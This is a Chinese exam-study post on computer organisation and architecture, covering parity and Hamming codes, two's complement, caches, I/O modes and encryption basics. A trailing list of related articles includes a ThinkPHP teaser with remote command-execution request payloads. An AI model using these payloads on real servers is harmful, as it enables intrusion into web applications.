软件设计师:01计算机组成与结构

news2024/9/23 19:11:09

文章目录

  • 一、校验码
    • 1.奇偶校验码
    • 2.海明码
    • 3.循环冗余检验码
  • 二、原码反码补码移码
  • 三、浮点数表示法
    • 1.浮点数相加时
  • 四、寻址方式
  • 五、CPU
    • 1.访问速度
    • 2.cpu的组成
  • 六、RISC和CISC(<font color = red>只用记住不同就可以)
  • 七、冗余技术
    • 1.结构冗余
    • 2.信息冗余
    • 3.时间冗余
    • 4.冗余附件技术
  • 八、流水线公式
  • 九、总线
  • 十、存储器
    • 1.按所在位置分类
    • 2.按访问方式分类
  • 十一、Cache
    • 1.基础知识
    • 2.cache地址映射
  • 十二、中断
  • 十二、输入输出(I/O)控制方式
    • 1.程序查询方式
    • 2.中断驱动方式
    • 2.DMA方式
  • 十二、存储器芯片构成
  • 十三、可靠度计算
  • 十四、信息安全
    • (1)加密
    • (2)病毒

一、校验码

1.奇偶校验码

(1)特点:

  • 只能检错,不能纠错。
  • 通过在编码中增加一位校验位来使编码为1的个数变为奇数或者偶数。从而使码距变为2
  • 水平奇偶校验码、垂直奇偶校验码、水平垂直校验码。

2.海明码

(1)特点:

  • 运用奇偶性来检错和纠错
  • 码距最小为3(2n+1),它是通过扩大码距来实现的(插入了k个校验位)
  • 公式:(数据位是n位,校验位是k位)
    请添加图片描述

3.循环冗余检验码

(1)特点:

  • 码距为2
  • 检错不能纠错
  • 运用模二运算进行
  • 其编码长度是k+r,信息码占k位,校验码就占n-k,又称(n,k)码
  • 校验位越长,校验能力越强

二、原码反码补码移码

  • 原码:最高位是符号位,其余低位表示数值的绝对值(0表示正数,1 表示负数)
  • 反码:正数的反码与原码相同,负数的反码是按位取反(符号位不变)
  • 补码:正数的补码与原码相同,负数的补码反码末位加1(符号位不变)
  • 移码:补码符号位取反

(1)知识点

  • 反码 = 原码取反(符号位不变)
  • 补码 = 反码加1
  • 移码 = 补码符号位取反
  • 补码求原码:补码[补]=原
  • 原码和反码的取值范围:-127~127
  • 补码和移码的取值范围:-128~127

三、浮点数表示法

  • 浮点数表示的数值范围主要由阶码确定
  • 尾数确定精度
  • 浮点数的规格化就是指,尾数格式化到【0.5,1】的区间内
  • IEEE 754工业标准:阶码采用移码,尾数采用原码

1.浮点数相加时

(1)对阶:
小阶向大阶看齐,尾数右移。

四、寻址方式

  • (1)立即寻址:操作数就在指令中。
  • (2)寄存器寻址:操作数存放在寄存器中,指令中给出操作数的寄存器名称。
  • (3)直接寻址:操作数在内存中,指令中给出操作数的地址。
  • (4)寄存器间接寻址:操作数存放在内存单元中,操作数所在地址在寄存器中。
  • (5)间接寻址:指令中给出操作数地址的地址。

五、CPU

1.访问速度

通用寄存器 > cache > 内存

2.cpu的组成

运算器、控制器、寄存器、内部总线。
(1)运算器

  • 算数逻辑单元(ALU):负责算数和逻辑运算。
  • 累加寄存器(AC):为ALU提供一个工作区,可以暂存运算结果。

(2)控制器

  • 指令寄存器(IR):存放指令。(对用户完全透明)
  • 程序计数器(PC):存放指令的地址。
  • 地址寄存器(AR):存放cpu访问的内存单元的地址。
  • 指令译码器(ID):将操作码解析成对应的指令操作。

六、RISC和CISC(只用记住不同就可以)

RISCCISC
指令种类
指令复杂度简单复杂
指令长度固定变化
寻址方式
通用寄存器数量
实现(译码)方式硬布线控制逻辑微程序控制技术

七、冗余技术

1.结构冗余

静态、动态、混合冗余。

2.信息冗余

在信息传输过程中、附加一些用于检错和纠错的信息。

3.时间冗余

重复执行指令来消除错误的影响。

4.冗余附件技术

为了实现上述冗余,添加的一些附件资源。

八、流水线公式

计算公式:单条流水线执行时间 + (n-1) * 单阶段最长执行时间
请添加图片描述

九、总线

数据总线、地址总线、控制总线
请添加图片描述
解析:内存容量为4GB =》 2^32 B ,所以地址总线宽度是32。
字长是32 =》 数据总线宽度是32。

请添加图片描述
32bit = 4B
一个时钟周期传输4/5 B的数据
带宽为:200MHz * (4/5B) = 160MB/s

十、存储器

1.按所在位置分类

(1)内存(主存)
(2)外存(辅存)

2.按访问方式分类

(1)按寻址方式分类
随机存储器、顺序存储器、直接存储器
(2)按内容访问分类
相联存储器

常用的虚拟存储器由 主存—辅存 两级存储器组成
cache与主存之间的映射是 硬件自动 完成的

十一、Cache

1.基础知识

位于cpu和主存之间,对程序员透明,cache容量越大,命中率越高

2.cache地址映射

全相联映射 –> 组相联映射 –> 直接映射

十二、中断

  • 中断向量:提供中断服务程序的入口地址
  • 中断向量表:所有中断服务的入口地址
  • 中断响应时间:从发出中断请求到进入中断服务程序的时间
  • 保存现场继续执行主程序

十二、输入输出(I/O)控制方式

1.程序查询方式

CPU和I/O串行工作
CPU需要一直轮询检查,长时间处于忙等状态,利用率低。
一次读写单位是“字”

2.中断驱动方式

I/O设备发中断信号,向CPU报告,两者并行工作、CPU利用率高。
一次读写单位是“字”

2.DMA方式

DMA传输数据比中断驱动方式传输数据更快。
仅需要在传送数据块的开始和结束时才需要CPU的干预。
一次读写单位是“块”

十二、存储器芯片构成

请添加图片描述

请添加图片描述

十三、可靠度计算

请添加图片描述

十四、信息安全

(1)加密

  • 公钥:加密和认证
  • 私钥:解密和签名
  • 对称秘钥(共享秘钥、私有秘钥):DES、AES、IDEA、RC4(加密大量明文信息)
  • 非对称秘钥(非共享秘钥、公钥):RSA、ECC
  • 摘要算法:MD5

(2)病毒

木马:客户端在本地,通过远程控制别人电脑

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158258.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HyperWorks的实体几何创建与六面体网格剖分

创建和编辑实体几何 在 HyperMesh 有限元前处理环境中&#xff0c;有许多操作是针对“实体几何”的&#xff0c;例如创建六面体网格。在创建实体网格的工作中&#xff0c;我们既可以使用闭合曲面创建实体网格&#xff0c;也可以使用完整的实体几何创建实体网格。与闭合曲面相比…

【rabbitmq-server】安装使用介绍

在 1050a 系统下安装 rabbitmq-server 服务以及基本配置;【注】:改方案用于A版统信服务器操作系统 文章目录 功能概述功能介绍一、安装软件包二、启动服务三、验证四、基本配置功能概述 RabbitMQ 是AMQP的实现,高性能的企业消息的新标准。RabbitMQ服务器是一个强大和可扩展…

截取递增数-第15届蓝桥省赛Scratch中级组真题第6题

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第191讲。 如果想持续关注Scratch蓝桥真题解读&#xff0c;可以点击《Scratch蓝桥杯历年真题》并订阅合集&#xff0c;…

【c数据结构】OJ练习篇 帮你更深层次理解链表!(相交链表、相交链表、环形链表、环形链表之寻找环形入口点、判断链表是否是回文结构、 随机链表的复制)

目录 一. 相交链表 二. 环形链表 三. 环形链表之寻找环形入口点 四. 判断链表是否是回文结构 五. 随机链表的复制 一. 相交链表 最简单粗暴的思路&#xff0c;遍历两个链表&#xff0c;分别寻找是否有相同的对应的结点。 我们对两个链表的每个对应的节点进行判断比较&…

力扣 209.长度最小的子数组

一、长度最小的子数组 二、解题思路 采用滑动窗口的思路&#xff0c;详细见代码。 三、代码 class Solution {public int minSubArrayLen(int target, int[] nums) {int n nums.length, left 0, right 0, sum 0;int ans n 1; for (right 0; right < n; right ) { …

数通。。。

通信&#xff1a;需要介质才能通信电话离信号塔&#xff08;基站&#xff09;越远&#xff0c;信号越弱。信号在基站之间传递。你离路由器越远&#xff0c;信号越差。一个意思 比如想传一张图片&#xff0c;这张图片就是数据载荷 网关&#xff0c;分割两个网络。路由器可以是网…

Chat2VIS: Generating Data Visualizations via Natural Language

Chat2VIS:通过使用ChatGPT, Codex和GPT-3大型语言模型的自然语言生成数据可视化 梅西大学数学与计算科学学院&#xff0c;新西兰奥克兰 IEEE Access 1 Abstract 数据可视化领域一直致力于设计直接从自然语言文本生成可视化的解决方案。自然语言接口 (NLI) 的研究为这些技术的…

巴黎嫩事件对数据信息安全的影响及必要措施

2024年9月17日&#xff0c;黎巴嫩首都贝鲁特发生了多起小型无线电通信设备爆炸事件&#xff0c;导致伊朗驻黎巴嫩大使受轻伤。这一事件不仅引发了对安全的广泛关注&#xff0c;也对数据信息安全提出了新的挑战。 王工 18913263502 对数据信息安全的影响&#xff1a; 数据泄露风…

MySQL慢查询优化指南

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 前言 当遇到慢查询问题时&#xff0c;不仅影响服务效率&#xff0c;还可能成为系统瓶颈。作为一位软件工程师&#xff0c;掌握MySQL慢查询优化技巧至关重要。今天&#xff0c;我们就来一场“数据库加速之旅…

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…

Java面向对象——内部类(成员内部类、静态内部类、局部内部类、匿名内部类,完整详解附有代码+案例)

文章目录 内部类17.1概述17.2成员内部类17.2.1 获取成员内部类对象17.2.2 成员内部类内存图 17.3静态内部类17.4局部内部类17.5匿名内部类17.5.1概述 内部类 17.1概述 写在一个类里面的类叫内部类,即 在一个类的里面再定义一个类。 如&#xff0c;A类的里面的定义B类&#x…

微信支付商户号注册流程

目录 一、官方指引二、申请规则三、申请流程1.提交资料2.签约协议3.绑定场景 四、微信支付商户登录入口 一、官方指引 https://kf.qq.com/faq/210423UrIRB7210423by6fQn.html 二、申请规则 1、微信支付商家仅面向企业、个体工商户、政府及事业单位、民办非企业、社会团体、基…

java sdk下载,解决下载了java但是编译不了

直接搜Java得到的网站使用不了的 应该只是个功能包或者版本太低用不了 得去oracle公司搜java这个产品去下载

Java语言程序设计基础篇_编程练习题**18.34 (游戏:八皇后问题)

目录 题目&#xff1a;**18.34 (游戏:八皇后问题) 代码示例 代码解析 输出结果 使用文件 题目&#xff1a;**18.34 (游戏:八皇后问题) 八皇后问题是要找到一个解决方案&#xff0c;将一个皇后棋子放到棋盘上的每行中&#xff0c;并且两个皇后棋子之间不能相互攻击。编写个…

Llama 3.1 技术研究报告-2

3.3 基础设施、扩展性和效率 我们描述了⽀持Llama 3 405B⼤规模预训练的硬件和基础设施&#xff0c;并讨论了⼏项优化措施&#xff0c;这些措施提⾼了训练效率。 3.3.1 训练基础设施 Llama 1和2模型在Meta的AI研究超级集群&#xff08;Lee和Sengupta&#xff0c;2022&#x…

模型融合创新性Max!5种模型融合方法刷新SOTA!发顶会必看!

近年来&#xff0c;关于模型融合的研究逐渐火热&#xff0c;出现了很多效果出众的成果。模型融合&#xff08;Model Merging&#xff09;技术&#xff0c;即利用现有模型的参数、架构和特性&#xff0c;巧妙结合成一个新的、功能更强大的模型&#xff0c;这不仅减少了从头训练大…

计算机毕业设计新闻资讯知识施肥技术网站推荐评论搜索猜你喜欢留言/springboot/javaWEB/J2EE/MYSQL数据库/vue前后分离小程序

摘要‌ 随着互联网的快速发展&#xff0c;新闻网站成为人们获取新闻资讯的重要途径。本文旨在介绍一款新闻网站毕业设计的开发与实现过程&#xff0c;该系统集新闻发布、用户互动、个性化推荐等功能于一体&#xff0c;采用Spring Boot、Vue等前后端分离技术&#xff0c;旨在提…

风力发电场集中监控解决方案

0引言 风力发电装机容量近年来快速增长。截至7月底&#xff0c;全国发电装机容量达27.4亿千瓦&#xff0c;同比增长11.5%。其中&#xff0c;太阳能和风力发电装机容量分别为4.9亿千瓦和3.9亿千瓦&#xff0c;同比增长42.9%和14.3%。风力发电场分陆上和海上风电&#xff0c;常位…

asp.net core grpc快速入门

环境 .net 8 vs2022 创建 gRPC 服务器 一定要勾选Https 安装Nuget包 <PackageReference Include"Google.Protobuf" Version"3.28.2" /> <PackageReference Include"Grpc.AspNetCore" Version"2.66.0" /> <PackageR…

C++ 异步编程中:future与promise、packaged_task、async

原文链接&#xff1a;C 异步编程之future与promise、async、packaged_task_std::promise和std::future异步发送-CSDN博客 1、std::future std::future类模板来关联线程运行的函数和函数的返回结果&#xff0c;这种获取结果的方式是异步的 std::future 通常由某个 Provider 创建…